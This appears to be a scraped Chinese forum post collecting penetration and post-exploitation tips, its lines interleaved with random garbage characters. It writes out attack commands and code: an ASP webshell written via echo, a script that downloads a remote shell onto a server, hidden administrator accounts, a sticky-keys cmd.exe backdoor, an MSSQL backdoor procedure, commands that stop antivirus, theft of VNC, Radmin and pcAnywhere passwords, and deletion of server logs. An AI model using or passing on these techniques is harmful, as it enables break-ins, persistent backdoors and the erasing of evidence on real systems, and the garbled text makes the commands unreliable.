渗透技巧总结

admin

旁站路径问题
1、读网站配置。
% p; Z, A" v6 F! N* H4 t( x1 [2、用以下VBS
1 v4 T  N5 h  N3 d4 AOn Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
, Q. c% n! u4 e. Q+ V& T, t! S        
6 p* |& h$ h  f' w+ \- G' l
/ o; q( M" ^- k8 kMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

Usage:Cscript vWeb.vbs",4096,"Lilo"
        WScript.Quit
+ N3 Z/ v/ a# FEnd If
Set ObjService=GetObject
% y' n, f/ M) G- p: H: G
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
7 E( M. C, G" z# z1 @        If IsNumeric(obj3w.Name)
- E+ ]: K' q$ n, j; u
7 x4 L2 J/ w4 l/ ~; I, g2 NThen
3 x7 k  H- F5 u7 ^                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
6 m- [: Q# l" M6 G* ^
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err

<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
7 C) q% g( @1 [  v8 K
OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
     
( G/ W; t3 D, m- j
                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
/ L$ G0 R- k4 {, t6 r4 s# R                        

WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
$ @% |' a/ }5 {2 S8 r                Next
& K2 M2 T8 k3 N) K" ~5 g2 F      
9 i, l+ j& u0 y6 p* f; J" r
2 d9 X& n5 H# \/ L6 W6 j& V6 m" A' W         WScript.Echo "ath            : " & VDirObj.Path
        End If
Next
复制代码
# z9 k: a1 j. `2 S7 \9 H) u, G3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
/ ]3 O/ e9 K( K; X( G4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
# d* ?( M9 U3 \2 A7 }6 s" qurl/wp-content/plugins/akismet/akismet.php
url/wp-content/plugins/akismet/hello.php
9 g: s: y) }- {: t4 P, U! Q——————————————————————
; B/ N7 ?6 p: U  O) b% ZphpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
1 Z5 _, [! m$ B( \9 bphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
, U9 R4 ?) a: R6 Q7 Y6 Pphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
; ~3 G3 R+ n" ?, V+ k$ FCMD下操作VPN相关
1 {1 A" p! U* h4 d$ Unetsh ras set user administrator permit #允许administrator拨入该VPN
& u! d% p, ^8 Q- P& Qnetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
1 c! u5 j5 \9 D( k! snetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
: o5 T, r! x1 s6 r+ n; {3 B: fnetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
命令行下添加SQL用户的方法
需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
0 R$ W7 J5 B; F* x$ W: g  zexec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
& S+ x9 t+ t" \! C- N然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
: l  h9 E0 [) i" u2 K# N
另类的加用户方法
% w0 V6 E) ]3 G* {0 b! J在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
7 H" n+ {6 ?) Ejs:
var o=new ActiveXObject( "Shell.Users" );
4 n; n' [5 |$ a, W; w$ i6 D, xz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
/ w$ B' N* x6 R' t. X
vbs:
Set   o=CreateObject( "Shell.Users" )
" U. d6 M! F; Z% LSet z=o.create("test")
z.changePassword "123456",""
6 O! ~, ]0 H* J* {z.setting("AccountType")=3
——————————————————
' W+ L# Q  _+ n' l" N; _cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
& W0 o0 V; f& g* N4 h: b
( m. D  u/ @- D命令如下
# v9 G& f6 `& h+ u! c/ ^$ {. Lcacls c: /e /t /g everyone:F           #c盘everyone权限
5 H' S* ?( _6 e0 B" i/ vcacls "目录" /d everyone               #everyone不可读，包括admin
* |! k; V5 f( h2 M————————以下配合PR更好————
3389相关
) a( [, y- {4 |9 ]( ~a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
9 d& W, y' ~  N* t! ^5 r' tb、内网环境（LCX）
/ W( e, R9 T7 }% Z) `- k1 \# ?c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   
0 F% T! F: |( V) P& F( Y7 k1 @+ c
% J  y& L: w8 E杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
net stop "Symantec AntiVirus" /y
' T0 j, l5 U% D( H# N, x: u/ Onet stop "Symantec AntiVirus Definition Watcher" /y
# ]& R7 ^7 j' [1 z$ y! Dnet stop "Symantec Event Manager" /y
& M4 }2 a) Q2 I" u% Dnet stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
4 {# }' b4 {# F3 m* r7 L2 {( H
卖咖啡：net stop "McAfee McShield"
6 ]: i9 x( c, h0 a) E6 e9 V9 u& H————————————————————
: Z# j0 d1 [7 O; G9 u' l) M7 g
4 Y( {0 D# n% r' C6 E, `5次SHIFT：
: b# b5 r% c# x/ a3 ~1 scopy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
. V. q( \4 ^/ w6 U& ncopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
! e" U: @1 {* E4 C+ K7 Z2 ^1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
4 V! K5 N" s( @7 ?# S" g6 W3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
) C. B' }+ i" h, Y4、利用Hacker Defender把相关用户注册表隐藏
' A$ M7 t) \' }  l" r——————————————————————
MSSQL扩展后门：
USE master;
/ O# n- ~0 H4 q" d( K2 }* mEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
# L. @% E' _4 @0 k# gGRANT exec On xp_helpsystem TO public;
. ~( k! q0 C  X/ @———————————————————————
$ v7 A/ a. J; K3 |- i+ E6 t4 e) ]6 C9 L日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
* R0 m, }2 l) ?% u0 R直接删除 ex0111124.log
4 {7 K; `/ I- `7 O+ x3 E2 f不成功，“原文件...正在使用”
4 M( F+ T: Q/ c9 C当然可以直接删除ex011120.log / ex011121.log
5 T( B5 v5 z. w用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
MSSQL 2000位于注册表如下：
8 b  M" r2 Y" p3 v7 [HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
8 t: u3 D% q- \; _& e, Y5 @MSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

Server\90\Tools\Shell\mru.dat
3 C; V5 M/ x3 E* p—————————————————————————
8 I2 O* K: {( n+ {$ q防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
) _% ~! y$ ]8 P. C$ u
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
6 `) `! \0 ]6 b! [Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
( O: D" H, |# V0 l' s.Send
GetRemoteData = .ResponseBody
* a" J! `* e  h1 w7 [/ }End With
5 Q' z) m! ^2 sSet Retrieval = Nothing
Set Ads = Server.CreateObject("Adodb.Stream")
6 ]1 U: f# X; d& g  dWith Ads
! U9 \3 h5 p: m7 K6 n& ].Type = 1
.Open
.Write GetRemoteData
9 t( H3 q$ H2 A) e( k( x. f.SaveToFile Server.MapPath(s_LocalFileName), 2
0 [2 y2 S2 v& ?" V, R: l8 Y8 M* u.Cancel()
.Close()
8 W1 S* `7 l5 B  ?9 gEnd With
6 r1 q' C$ M1 H- H0 T# O8 SSet Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
5 t# e  _' ?" P9 F' l# g, ^%>
7 {& S. ]' h0 J
VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
4 u. P  ^$ m, \注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
; M  D  U$ z% \2 h% W( ^& o% GRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
# t8 I' C) s) q, ~0 t1 ?HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
/ z+ f' x  ^) N7 b7 r( ], I如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
8 _) c' p& U7 h+ b. S保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
2 V. ?  |0 {  `0 P, k6 J# ?搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
2 R# O  r* s5 g1 j" i* |8 t7 X2 h——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
7 J" h- f( H3 v; u没有删cmd组建的直接加用户。
. [% z9 U: F5 R4 V' z, @  M7i24的web目录也是可写，权限为administrator。
$ _3 {/ `& j: P/ `
1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
6 u# z# b4 A. l5 Q5 ^/ \9 c5 CstrSQLDBUserName = "数据库帐号"
7 [+ w4 n7 v- F, qstrSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
3 @* V, Q) S3 o  f; G5 A, l  d- NstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
6 ?( D- n' H5 m: L: P* h8 F9 b
. @- A: k7 y2 x& l";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

strSQLDBName & ";"
9 U! O: _) U! m1 S$ Pconn.open strCon
. p/ L2 Z) Z! |& f2 s! @5 rdim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
& [8 \8 f( S' F  p5 M; HstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
%>
3 W# l- v0 \- s- y* b复制代码
( c* o8 B* k- R8 e6 }3 {9 N******liunx 相关******
7 C! ~( B1 ]' e一.ldap渗透技巧
* y" ~5 B/ x- S: {9 i" V' T5 U4 N1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
4 V" m6 x! e- D) H% `/ W2 w
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

0 D6 g3 m# h8 U# j. C; @+ S3.查找管理员信息
3 E3 j; e  p9 q  {3 f匿名方式
' s2 o# J$ l9 N) K" c# E2 O/ bldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

, U" O8 L- h7 E4 p"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
( @/ o9 h4 U. n$ M有密码形式
4 a3 z* D# O. F  |ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

4 |6 e& r8 O2 r7 g/ |1 o0 T7 a"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

& N3 j3 }1 a  P5 }' _; J  [0 k6 o
0 b8 `9 {% K% S( u5 C) p4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
, ]6 y' {% S0 B$ }
) N/ a! {$ |: R( B0 a2 h  i: d实战:
6 i  u( y, n# p3 M( f4 H3 n" Q1.cat /etc/nsswitch
9 _1 o" M( e0 F& [- v+ u: r看看密码登录策略我们可以看到使用了file ldap模式
1 \) ]. o) |& C
1 R, G" K  [8 E, P4 {/ `) N0 _# S! d2.less /etc/ldap.conf
0 h1 w2 h  A5 e( Z2 Hbase ou=People,dc=unix-center,dc=net
" C5 k1 s, Y! |  W找到ou,dc,dc设置
; o- N/ B8 L. V, |1 Y4 r0 b
3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
% d) l2 n/ l" x+ g4 T2 o有密码形式
6 ?& S9 l/ d. l, r  j' w# G$ tldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

1 j. @/ Q8 J9 U; w9 t
4.查找10条用户记录
9 w% P, T* ]% N' v; K( k, Yldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

6 ~' L# [3 [9 f! Q4 k4 s渗透实战:
0 u& @  [; o5 c; t# A/ ?/ R1.返回所有的属性
6 j4 i+ T. k5 T3 G0 {  {( h# q  Nldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
version: 1
8 d+ @* x1 X7 V$ X1 i+ ^dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
# U3 S4 D. R$ p: vuid: manager
/ k. Z! Q( {6 z6 }objectClass: inetOrgPerson
objectClass: organizationalPerson
2 c- b+ G4 K1 V4 Z6 O" TobjectClass: person
objectClass: top
/ A1 f( u) F4 n5 y7 psn: manager
! k: ^* o1 ?2 V4 G' j# Ncn: manager

dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
" ?. l4 H5 h1 p/ l/ O6 E. GobjectClass: inetOrgPerson
9 j* p, q; J5 A# N' j1 C  IobjectClass: organizationalPerson
objectClass: person
- m! O2 J) s+ _. n0 A( k1 V" q8 HobjectClass: top
sn: superadmin
/ S' m1 H; e1 i8 z% |cn: superadmin
/ o8 Q6 R# k7 {
dn: uid=admin,dc=ruc,dc=edu,dc=cn
5 z5 N" O! ]& r( K2 N! S& Nuid: admin
$ H  w: |1 Q, @  M1 {5 ^( YobjectClass: inetOrgPerson
objectClass: organizationalPerson
; K8 I5 s# a4 H' uobjectClass: person
) d* I0 p3 x6 H& hobjectClass: top
# d* p6 k$ k5 N4 psn: admin
8 I3 j- q- n- K: _: Icn: admin
- m2 r2 V  }. W% ?
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
9 K3 h" ]  Y5 y. fuid: dcp_anonymous
; @; I4 Y% A. _5 AobjectClass: top
7 g! K1 K! H! z$ U  MobjectClass: person
objectClass: organizationalPerson
# `6 F/ D1 Q; i$ p  `objectClass: inetOrgPerson
sn: dcp_anonymous
cn: dcp_anonymous

2 R: R" F- K9 c  `" ?2.查看基类
) o( _* c" V2 S* S  g# g2 r& Ybash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
4 T9 k0 E. W! o; `; o9 A
more
8 K2 e  z$ P: l% o3 cversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
objectClass: domain

) j) Q4 E& @8 ?- ^) J1 d; d8 `3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
0 I" G" x. z+ d% y" d8 A2 |supportedExtension: 2.16.840.1.113730.3.5.7
supportedExtension: 2.16.840.1.113730.3.5.8
' I! A# ^' ~( }' ?4 T  vsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
& `$ D8 J& b% F  J$ C% [" [$ AsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
; k  ?- s, [$ g/ }8 d+ l# B6 I' qsupportedExtension: 2.16.840.1.113730.3.5.6
7 D8 e+ b5 z; r3 TsupportedExtension: 2.16.840.1.113730.3.5.4
; |9 m1 F, g7 R# k' bsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
/ @0 C* T! [1 c- P7 GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
3 T6 i( ~% S; N: O. ^supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
: y; g6 T7 U# vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
/ t& y0 ?! t. {; @% f- r  A1 @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
/ S) j7 I" F9 t* @) k) osupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
) L; Y3 d- d4 K$ [- csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
. W/ l: w# [. ?( ?supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
' s% Y; ?+ ^8 o  n+ D! U8 x$ n7 D# `/ KsupportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
: I) p% L1 v4 ]* Q& k9 H& hsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
' U6 a; q( K  {- S) ~1 m" VsupportedControl: 2.16.840.1.113730.3.4.5
5 Q3 v; ^8 k( B' U4 v; v' w/ PsupportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
1 E0 `2 ?5 F% u- [% O4 AsupportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
; f( D! Y/ m, T5 C3 `" ]2 CsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
" A- X. y1 S8 ~) |supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
% N/ \* `" {' |: m& t7 msupportedControl: 2.16.840.1.113730.3.4.13
5 g: T$ b( \  ]/ o) m  tsupportedSASLMechanisms: EXTERNAL
2 n0 b3 l6 }3 F6 K0 Y3 p0 CsupportedSASLMechanisms: DIGEST-MD5
$ v/ }) x7 Y4 ?" csupportedLDAPVersion: 2
' T. [$ b3 r0 ?9 f# ?supportedLDAPVersion: 3
; U$ V3 \1 V8 A" r4 p" |0 G% pvendorName: Sun Microsystems, Inc.
" H, ^* t4 R2 dvendorVersion: Sun-Java(tm)-System-Directory/6.2
  Z6 A" Q/ B3 Ldataversion: 020090516011411
5 c) q$ F" D5 Y! ]* C; M5 i6 |/ mnetscapemdsuffix: cn=ldap://dc=webA:389
( k6 r, u. }0 ]8 GsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
5 V- Y9 \" M- zsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
0 v: @/ b0 c' e- ssupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
3 i8 C+ ^/ X  r1 `/ q4 M# hsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
* b' `% g7 F2 E; t! F! U5 R8 T+ n' ]supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
: r7 M5 X/ }3 RsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
& M/ w( M- |( k# ]0 y& @supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
- @% K2 S: L# f( ?, U4 I% bsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
5 L( J2 d  [* OsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
: E, d; ^# ~( c+ }) e& m( l4 _$ ]supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
: ^( Q+ d* L1 m) e& J/ {1 s0 osupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
0 O! R% \7 @3 J8 b" n# QsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
9 t% Z, r2 o. w( DsupportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
/ M" Y1 W0 F' q+ G# _+ msupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
5 }4 t2 z  i( K( Q. ^supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
2 r" f3 ~) S& w9 TsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
  a; j# R+ D% }3 {& K9 `% lsupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
- y. ]% f5 L9 G9 k3 SsupportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
5 F. ?  c) z* E" o0 dsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
, L& y* c6 A% w3 G0 O% YsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
+ V9 m2 H- x8 j/ _$ C' a) g$ T) FsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
# w6 ^! `7 q# b' xsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
/ A+ x1 ~2 j4 j; OsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
3 f( [  Q9 c$ ^' T2 ksupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
9 C8 N" D2 o# E+ K9 ssupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
; L1 G* p" }% M; W! x0 z- p, OsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
) f4 J# a$ B( T/ H3 p( D( z2 M' [7 msupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
- h3 K7 U* h( t6 RsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
6 D, Y/ L8 B9 S. csupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
4 d! h* X0 S* o' S7 EsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
: t6 T' d& I, B% ]9 vsupportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
4 ?, G7 F2 P) Y; {4 tsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
" g0 W+ ~1 I% X5 p% ssupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
; o- d- ^. s- J, H6 M列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
1 h; ]; ]+ s6 ^6 V& U  [0 Y) Zrsync 210.51.X.X::
finance
img_finance
auto
5 y# \" a1 k# P! p7 [img_auto
8 I5 n4 f6 d- M7 m' ^html_cms
img_cms
# h2 ~8 Y* W- ?8 |& Qent_cms
ent_img
ceshi
! h7 \" G+ P3 u6 c. P' i, {res_img
" U1 {! j0 r5 M, C# h3 gres_img_c2
$ [. c' i4 C3 k/ Jchip
chip_c2
0 U! d) L1 M9 w3 Hent_icms
games
gamesimg
! `7 p# A2 {$ @media
mediaimg
6 E7 }$ J  G0 x1 F% f/ |5 p& q: ~fashion
res-fashion
res-fo
( U& o; M/ }+ \6 E& ^4 ntaobao-home
# L9 X+ e6 C; ~; [  Zres-taobao-home
" k& s0 L5 J) L, B0 F% I! Qhouse
res-house
res-home
res-edu
res-ent
. P& ^; p) s& fres-labs
: m$ [/ B& {" u+ y" cres-news
res-phtv
res-media
home
edu
, O' F3 l' _: w+ mnews
5 c% m$ _" _5 u6 ]2 Dres-book

看相应的下级目录(注意一定要在目录后面添加上/)

7 T! _/ K( }) F2 p* e  M
rsync 210.51.X.X::htdocs_app/
5 g4 _: s' ]/ u; yrsync 210.51.X.X::auto/
, L( b: m# u- S/ wrsync 210.51.X.X::edu/
, n' I! c. a- h) ~+ V$ Z# `& A
5 O- s. L) h$ Y5 Y( G; Z( S: e2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
2 a6 b9 f& [' q5 G/ ]
3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
/ n. E- D1 b) k  e9 q6 i$ Rhttp://app.finance.xxx.com/warn/nothack.txt

四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
! Y0 x/ k* q* i8 F! WGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
* N- A8 N0 V5 cssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
* d* O; e  M- {3 ^- m
# H! t" a5 R) A2 v六.joomla渗透小技巧
8 G+ |2 k1 M2 A9 q! F确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-

15&catid=32:languages&Itemid=47
7 u) v7 G' u# l& c; p' e
重新设置密码
& K& D* _& t0 l( eindex.php?option=com_user&view=reset&layout=confirm
+ J, N. ?/ b; J0 I
2 N6 e, u0 n- c+ a  ~5 j6 `4 D七: Linux添加UID为0的root用户
2 B8 Z" p( M3 C7 F% u* Ruseradd -o -u 0 nothack
& h* x4 N2 z6 q% h* c
- H  V. R/ Q& q# \8 A( _9 b* J4 o八.freebsd本地提权
; ]  p% s8 ?7 f' @[argp@julius ~]$ uname -rsi
2 q. _/ _; r) p! S6 V3 Y$ z* freebsd 7.3-RELEASE GENERIC
